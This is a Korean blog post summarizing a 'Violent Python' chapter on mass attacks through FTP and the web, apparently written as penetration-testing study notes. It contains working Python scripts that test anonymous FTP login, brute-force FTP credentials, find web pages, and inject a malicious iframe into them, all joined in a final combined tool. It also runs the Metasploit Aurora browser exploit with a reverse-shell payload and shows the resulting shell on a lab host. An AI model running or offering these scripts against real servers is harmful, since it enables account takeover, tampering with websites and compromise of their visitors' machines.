해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – FTP와 웹을 이용한 대규모 공격

 

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다.
연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다.

VIOLENT_PYTHON_S
[구매하기]

해커의 언어, 치명적 파이썬 – CHAPTER 1 소개
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 포트 스캐너 만들기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – SSH 봇넷 구축하기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – FTP와 웹을 이용한 대규모 공격
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 컨피커 노력하면 된다

2.4 FTP와 웹을 이용한 대규모 공격
– k985ytv 대규모 해킹공격 : 익명ftp와 탈취한 ftp 계정으로 22,400개의 도메인의 536,000개의 페이지에 대한 접근권한 획득 후 페이지에 리다이렉션 코드를 삽입하여 방문자가 접속하면 신용카드 정보를 탈취하는 가짜 백신 설치하도록 함

2.4.1 파이썬으로 익명 FTP 스캐너 만들기
– 파이썬의 ftplib으로 특정 서버가 익명 로그인을 허용하는지 판단하는 스크립트

#!/usr/bin/python
# -*- coding: utf-8 -*-

import ftplib

def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', 'me@your.com')
        print '\n[*] ' + str(hostname) +\
          ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) +\
	  ' FTP Anonymous Logon Failed.'
	return False


host = '192.168.110.129'
anonLogin(host)

실행결과(테스트를 위해 대상서버에 Anonymous 로그인을 허용)

# python anonLogin.py

[*] 192.168.110.129 FTP Anonymous Logon Succeeded.

2.4.2 Ftplib로 FTP 사용자 인증정보 공격하기
– brute force 공격으로 인증정보 획득하기.

#!/usr/bin/python
# -*- coding: utf-8 -*-

import ftplib, time

def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
	time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
	print "[+] Trying: "+userName+"/"+passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) +\
	      ' FTP Logon Succeeded: '+userName+"/"+passWord
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None, None)


host = '192.168.110.129'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)

실행결과(테스트를 위해 대상서버에 root 계정을 추가)

# python bruteLogin.py 
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[+] Trying: root/toor

[*] 192.168.110.129 FTP Logon Succeeded: root/toor

2.4.3 FTP 서버에 있는 웹 페이지 검색하기
– FTP서버에 접속해 컨텐츠를 열거(NLST)하고, 디폴트 페이지를 찾음

#!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib

def returnDefault(ftp):
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print '[-] Could not list directory contents.'
        print '[-] Skipping To Next Target.'
        return

    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print '[+] Found default page: ' + fileName
        retList.append(fileName)
    return retList

host = '192.168.110.129'
userName = 'root'
passWord = 'toor'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
returnDefault(ftp)

실행결과((테스트를 위해 대상서버에 test.html, test.php 파일 생성)

# python defaultPages.py
[+] Found default page: test.html
[+] Found default page: test.php

2.4.4 웹 페이지에 악성코드 삽입하기
– 웹페이지를 변조하기에 앞서, 악성서버와 악성페이지를 만든다. (메타스플로잇의 오로라 취약점 이용 – ms10_002_aurora)
– 취약점의 정보 및 취약시스템은 아래의 링크에서 확인할수 있다.
http://technet.microsoft.com/ko-kr/security/bulletin/ms10-002#EED

# msfcli exploit/windows/browser/ms10_002_aurora LHOST=192.168.110.133 SRVHOST=192.168.110.133 URIPATH=/key PAYLOAD=windows/shell/reverse_tcp LPORT=443 E
[*] Please wait while we load the module tree...
Warning: The following modules could not be loaded!

	/opt/metasploit/msf3/modules/post/multi/gather/ssh_creds.rb: NameError uninitialized constant Msf::Post::Unix

[-] WARNING! The following modules could not be loaded!
[-] 	/opt/metasploit/msf3/modules/post/multi/gather/ssh_creds.rb: NameError uninitialized constant Msf::Post::Unix
...

위와 같이 warning 이 발생할 경우,
/opt/metasploit/msf3/modules/post/multi/gather/ssh_creds.rb 파일 수정하면된다.
require ‘msf/core/post/unix’ 추가
참고 : http://www.sinkblog.org/archives/103.html

다시 실행.

# msfcli exploit/windows/browser/ms10_002_aurora LHOST=192.168.110.133 SRVHOST=192.168.110.133 URIPATH=/key PAYLOAD=windows/shell/reverse_tcp LPORT=443 E
[*] Please wait while we load the module tree...

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

LHOST => 192.168.110.133
SRVHOST => 192.168.110.133
URIPATH => /key
PAYLOAD => windows/shell/reverse_tcp
LPORT => 443
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.110.133:443 
[*] Using URL: http://192.168.110.133:8080/key
[*] Server started.
msf  exploit(ms10_002_aurora) > 

– 이제 악성코드를 페이지에 심어보자

#!/usr/bin/python
# -*- coding: utf-8 -*-

import ftplib

def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page

    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page

    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page

host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '<iframe src='+\
  '"http:\\\\192.168.110.133:443\\key"></iframe>'
injectPage(ftp, 'test.html', redirect)

이제 악성코드가 삽입된 페이지에 사용자들이 접속하면, 취약한 시스템이라면, 해커가 접속한 사용자들의 PC에 접근할 수 있다.

msf  exploit(ms10_002_aurora) > 
[*] 192.168.110.129  ms10_002_aurora - Sending Internet Explorer "Aurora" Memory Corruption
[*] Sending stage (240 bytes) to 192.168.110.129

msf  exploit(ms10_002_aurora) > sessions

Active sessions
===============

  Id  Type           Information                                                                       Connection
  --  ----           -----------                                                                       ----------
  1   shell windows  Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft ...  192.168.110.133:443 -> 192.168.110.129:1129 (192.168.110.129)

msf  exploit(ms10_002_aurora) >
msf  exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\Documents and Settings\Administrator\???? ???>
C:\Documents and Settings\Administrator\???? ???>ECHO %USERNAME%
ECHO %USERNAME%
Administrator

2.4.5 모든 공격 통합하기
– 앞의 과정을 통합

#!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib
import optparse
import time

def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', 'me@your.com')
        print '\n[*] ' + str(hostname) \
            + ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) +\
          ' FTP Anonymous Logon Failed.'
        return False

def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' + userName + '/' + passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) +\
              ' FTP Logon Succeeded: '+userName+'/'+passWord
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None, None)

def returnDefault(ftp):
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print '[-] Could not list directory contents.'
        print '[-] Skipping To Next Target.'
        return

    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print '[+] Found default page: ' + fileName
        retList.append(fileName)
    return retList

def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page

    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page

    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page

def attack(username,password,tgtHost,redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)

def main():
    parser = optparse.OptionParser('usage %prog '+\
      '-H <target host[s]> -r <redirect page>'+\
      '[-f <userpass file>]')
    
    parser.add_option('-H', dest='tgtHosts',\
      type='string', help='specify target host')
    parser.add_option('-f', dest='passwdFile',\
      type='string', help='specify user/password file')
    parser.add_option('-r', dest='redirect',\
      type='string',help='specify a redirection page')

    (options, args) = parser.parse_args()
    tgtHosts = str(options.tgtHosts).split(',')
    passwdFile = options.passwdFile
    redirect = options.redirect

    if tgtHosts == None or redirect == None:
        print parser.usage
        exit(0)

    for tgtHost in tgtHosts:
        username = None
        password = None

        if anonLogin(tgtHost) == True:
            username = 'anonymous'
            password = 'me@your.com'
            print '[+] Using Anonymous Creds to attack'
            attack(username, password, tgtHost, redirect)
      
        elif passwdFile != None:
            (username, password) =\
              bruteLogin(tgtHost, passwdFile)
            if password != None:
                '[+] Using Creds: ' +\
                  username + '/' + password + ' to attack'
                attack(username, password, tgtHost, redirect)

if __name__ == '__main__':
    main()

 

This entry was posted in Python/Ruby/Perl, Reading and tagged , . Bookmark the permalink.

One Response to 해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – FTP와 웹을 이용한 대규모 공격

댓글 남기기